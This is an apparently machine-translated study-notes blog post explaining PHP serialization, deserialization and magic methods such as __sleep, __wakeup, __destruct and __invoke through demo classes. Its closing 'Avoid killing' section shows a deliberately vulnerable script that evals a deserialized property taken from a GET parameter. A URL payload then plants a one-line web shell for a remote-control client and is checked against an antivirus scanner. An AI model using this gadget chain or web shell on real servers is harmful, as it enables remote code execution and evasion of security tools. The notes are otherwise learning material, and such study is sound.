Guard notes -- deserialization

Due to my weak foundation, I can only make simple records for the time being, which will be supplemented after more detailed explanation and repetition exercises.

Deserialization

serialize

Serialization is the process of converting an object state into a format that can be maintained or transmitted.
The opposite of serialization is deserialization, which converts a stream into an object. The combination of these two processes makes it easy to store and transfer data.

Serialization:

​ Object = = > string

Deserialization:

​ String = = > object

Why is there such a thing as deserialization?

It is convenient to transmit in the network

Deserialization needs to rely on previously declared classes

What problem does serialization solve?

1,Persistence of custom objects in some form of storage;

2,Transfer objects from one place to another.

3,Make the program more maintainable.

Serialization principle

<?php

class A
{
    // Declare properties
    public $public_prop;
    protected $prot_prop;
    private $priv_prop;
    //Declaration method
    public function __construct($public_prop, $prot_prop, $priv_prop)
    {
        $this->priv_prop=$priv_prop;
        $this->public_prop=$public_prop;
        $this->prot_prop=$prot_prop;
    }
}

$a_obj = new A("public","protectrd","private");
var_dump($a_obj);
?>

Now I want to transfer the class just defined to unserialize How to pass it in PHP?

echo urlencode(serialize($a_obj));
O:1:"A":3:{s:11:"public_prop";s:6:"public";s:12:"*prot_prop";s:9:"protectrd";s:12:"Apriv_prop";s:7:"private";}

Generated serialized string

O%3A1%3A%22A%22%3A3%3A%7Bs%3A11%3A%22public_prop%22%3Bs%3A6%3A%22public%22%3Bs%3A12%3A%22%00%2A%00prot_prop%22%3Bs%3A9%3A%22protectrd%22%3Bs%3A12%3A%22%00A%00priv_prop%22%3Bs%3A7%3A%22private%22%3B%7D


Image source:
https://www.cnblogs.com/upstream-yu/p/15191503.html

The object generated by deserialization does not depend on the original construction method, but only on the string constructed by us.
Deserialization has and can only control properties. We can only control the value of the property of the generated object, not the method called

Serialization representation of three attributes

<?php
	class A{
	public $name;
	}
	$a_obj = new A();
	echo serialize($a_obj)."<br>";
?>

O:1:"A":1:{s:4:"name";N;}

<?php

class A
{
    public $name;
}

$a_obj = new A();
$a_obj->name = 'haha';
echo serialize($a_obj) . "<br>";

The following are the types represented by letters

a - array

b - boolean

d - double double

i- integer

O -common object general object

O:6:"Person":3:{s:12:"Personname";s:4:"haha";s:6:"*age";i:18;s:7:"address";s:7:"beijing";}

//O represents the object
//6 indicates the length of the class name
//3 means there are 3 attributes

//Note that different types correspond to serialized strings
private $name;          s:12:"Personname";
protected $age;         s:6:"* age";
public $address;        s:7:"address";
<?php
class Person{
    public $name;
    public $age;
    public $address;

    public function __construct($name, $age, $address)
    {
        $this->name = $name;
        $this->age = $age;
        $this->address = $address;
    }
    
    public function sayName(){
        echo $this->name;
    }
    public function sayAge(){
        echo $this->age;
    }
    
    public function sayAddress(){
        echo $this->address;
    }

}

$persion1 = new Person('haha',18,'beijing');
echo serialize($persion1);




//echo urlencode(serialize($persion1)); // After serialization, the serialized string is url encoded,
//Just to deal with this%00 problem

//$str="O%3A6%3A%22Person%22%3A3%3A%7Bs%3A12%3A%22%00Person%00name%22%3Bs%3A4%3A%22haha%22%3Bs%3A6%3A%22%00%2A%00age%22%3Bi%3A18%3Bs%3A7%3A%22address%22%3Bs%3A7%3A%22beijing%22%3B%7D";

//Deserialization
//$obj = unserialize(urldecode($str));  // Deserialize() function
//echo '<br>';
//$obj->sayAddress();

?>
public Property directly without modification
protected attribute %00*%00 Attribute name
private attribute  %00 Class name%00 Attribute name

We can determine the attributes used by serializing the generated string

be careful:

During PHP serialization, the private and protected variables will introduce the invisible character% 00,% 00 class name% 00 attribute name is private

%00 *% 00 attribute is named protected. Note that these two% 00 are characters with ascii code 0. The display and output of this character may not be visible or even cause truncation, but it can be seen clearly after ur coding

//O:6:"Person":3:{s:12:"Personname";s:4:"haha";s:6:"*age";i:18;s:7:"address";s:7:"beijing";}


//O%3A6%3A%22Person%22%3A3%3A%7Bs%3A12%3A%22%00Person%00name%22%3Bs%3A4%3A%22haha%22%3Bs%3A6%3A%22%00%2A%00age%22%3Bi%3A18%3Bs%3A7%3A%22address%22%3Bs%3A7%3A%22beijing%22%3B%7D

Magic Methods

Use two underscores _inphp_ The first methods are called magic methods, which play an important role in PHP.
Magic method is a special method that overrides PHP's default operation when performing some operation on an object.

__construct()__destruct()__call()__callStatic()__get()__set()__isset()__unset()__sleep()__wakeup()__serialize(), __unserialize(), __toString()__invoke()__set_state()__clone() and __debugInfo() Such methods are called magic methods in PHP. You cannot use these method names when naming your own class methods, unless you want to use their magic function

This part can refer to the official explanation and relevant blogs;
Official website:
https://www.php.net/manual/zh/language.oop5.magic.php
Blog recommendation:
https://www.php.cn/php-weizijiaocheng-427052.html

Note: all magic methods must be declared public

Magic Methods

function brief introduction
__sleep The serialize() function checks whether there is a__ sleep magic method. If it exists, call it first
__wakeup The unserialize() function checks whether there is a__ wakeup, if it exists, call first
__construct Constructor, which is called each time an object is created
__destruct Executed when the object is deleted or explicitly destroyed

Magic method__ call

When an invocation method is invoked in an object, __call() Will be called.

<?php
class Test{
    public function __call($name, $arguments)
    {
        // TODO: Implement __call() method.
        echo "now the name is ".$name."and the arguments is ".$arguments."<br/>";
    }


}


$test_obj = new Test();
$test_obj->saynem();
?>

Magic method__ callStatic()

<?php
class Test{
    public function __call($name, $arguments)
    {
        // TODO: Implement __call() method.
        echo "now the no static name is ".$name."and the arguments is ".implode(', ', $arguments)."<br/>";
    }
   // private static function  privateStaticSay(){
   //     echo "privateStaticSay is called";
   // }

    public static function __callStatic($name, $arguments)
    {
        // TODO: Implement __callStatic() method.
        echo "now the static func name is ".$name."and the arguments is ".implode(', ', $arguments)."<br/>";

    }


}


$test_obj = new Test();
//$test_obj->saynem("haha","hehe");
$test_obj::privateStaticSay("haha","hehe");

?>

Magic method__ get

When reading the value of an inaccessible property, __get() Will be called.

<?php
class Test{
    //private $name;
    protected $age;
    public   $address;
    private $data;

    public function __get($name)
    {
        // TODO: Implement __get() method.
        echo 'The property name you want to get'.$age;

    
    }
}

$test_obj = new Test('hehe',22);

echo $test_obj->weqwe;

Magic method__ set

<?php
class Test{
    private $name;
    protected $age;
    public   $address;
    public Static $data;

    public function __get($name)
    {
        // TODO: Implement __get() method.
        echo 'The property name you want to get'.$name;
    }

    public function __set($name, $value)
    {
        // TODO: Implement __set() method.
        echo "Setting '$name' to '$value'\n";
        $this->name = $value;
    }


}

$test_obj = new Test('hehe',22);
$test_obj->name = "new name";
echo $test_obj->name;

Magic method__ sleep()

serialize() The function checks whether a magic method exists in the class __sleep() . If present, the method is called before serialization. This function can be used to clean up an object and return an array containing the names of all variables in the object that should be serialized. If the method returns nothing, null is serialized and an e is generated_ Note level error

This function will be triggered during serialization

<?php
class Person{
    private $name;
    protected $age;
    public $address;

    public function __construct($name, $age, $address)
    {
        $this->name = $name;
        $this->age = $age;
        $this->address = $address;
    }

    public function sayName(){
        echo $this->name;
    }
    public function sayAge(){
        echo $this->age;
    }

    public function sayAddress(){
        echo $this->address;
    }

    public function __sleep(){
        // __ The sleep() magic method can limit those properties and render them after serialization
        return array('name');
        //return array('name','age');
        //return array('name','age','address');
    }

    public function __destruct()
    {
        echo "<br>An object is destroyed".$this->name;
    }
}

$persion1 = new Person('haha',18,'beijing');
echo serialize($persion1);

//No restrictions, serialize output
//O:6:"Person":3:{s:12:"Personname";s:4:"haha";s:6:"*age";i:18;s:7:"address";s:7:"beijing";}

//__ Serialize the output after the sleep() magic method limits it
//O:6:"Person":1:{s:12:"Personname";s:4:"haha";}
?>

Magic method__ wakeup ()

On the contrary, unserialize() Checks if there is one __wakeup() method. If it exists, it will be called first__ The wakeup method prepares the resources required by the object in advance.

This function will be triggered during deserialization

<?php
class Person{
    private $name;
    protected $age;
    public $address;

    public function __construct($name, $age, $address)
    {
        $this->name = $name;
        $this->age = $age;
        $this->address = $address;
    }

    public function sayName(){
        echo $this->name;
    }
    public function sayAge(){
        echo $this->age;
    }

    public function sayAddress(){
        echo $this->address;
    }

    public function __wakeup(){
        echo "Deserialize an object";
    }
    public function __destruct()
    {
        echo "An object is destroyed ".$this->name;
    }
}

$str="O%3A6%3A%22Person%22%3A3%3A%7Bs%3A12%3A%22%00Person%00name%22%3Bs%3A4%3A%22haha%22%3Bs%3A6%3A%22%00%2A%00age%22%3Bi%3A18%3Bs%3A7%3A%22address%22%3Bs%3A7%3A%22beijing%22%3B%7D";

//Deserialization
$obj = unserialize(urldecode($str));
echo '<br>';

?>

Magic method__ toString()

__toString() Method is used to how a class should respond when it is treated as a string. For example, echo $obj; What should be displayed. This method must return a string, otherwise an e will be issued_ RECOVERABLE_ Fatal error at error level.

 <?php// Declare a simple class
     class TestClass{  
     public $foo;  
     public function __construct($foo)   {    
         $this->foo = $foo;  
     }  
     public function __toString() {   
         return $this->foo;  
     }
 }
$class = new TestClass('Hello');
echo $class;?> 

Magic method__ invoke()

When you try to call an object by calling a function, __invoke() Method is called automatically.

<?php
class Test{
    private $name;
    protected $age;
    public   $address;
    public Static $data;

    public function __get($name)
    {
        // TODO: Implement __get() method.
        echo 'The property name you want to get'.$name;
    }

    public function __set($name, $value)
    {
        // TODO: Implement __set() method.
        echo "Setting '$name' to '$value'\n";
        $this->name = $value;
    }

    public function __invoke()
    {
        // TODO: Implement __invoke() method.
        echo 'now __invoke is has been called ';
    }


}

$test_obj = new Test('hehe',22);
$test_obj();

We can also__ Transfer function in invoke()

<?php
class Test{
    private $name;
    protected $age;
    public   $address;
    public Static $data;

    public function __get($name)
    {
        // TODO: Implement __get() method.
        echo 'The property name you want to get'.$name;
    }

    public function __set($name, $value)
    {
        // TODO: Implement __set() method.
        echo "Setting '$name' to '$value'\n";
        $this->name = $value;
    }

    public function __invoke($eeee)
    {
        // TODO: Implement __invoke() method.
        echo 'now __invoke is has been called '.$eeee;
    }


}

$test_obj = new Test('hehe',22);
$test_obj("hahahaaaa");

Avoid killing

<?php
class Student
{
    var $a;
    function __construct(){
        echo "hello constructor";
    }

    function __destruct(){

        $this->a->action();
        echo 'one';
    }
}

class one
{
    var $b;
    function action(){
        eval($this->b);
    }
}

//$one_obj = new one();
//$student = new Student();
//$student->a=$one_obj;

//echo serialize($student);
//O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";N;}}
unserialize($_GET['a']);

?>

To construct a one sentence Trojan horse, use ant sword to connect

http://127.0.0.1/demo.php?a=O:7:%22Student%22:1:{s:1:%22a%22;O:3:%22one%22:1:{s:1:%22b%22;s:16:%22eval($_POST[1]);%22;}}

Scan the above code with a safety dog to see if it can be avoided

Construct a one sentence Trojan horse and connect it with ant sword

http://127.0.0.1/demo.php?a=O:7:%22Student%22:1:{s:1:%22a%22;O:3:%22one%22:1:{s:1:%22b%22;s:16:%22eval($_POST[1]);%22;}}

Keywords: Cyber Security

Added by zyntrax on Sun, 16 Jan 2022 05:05:48 +0200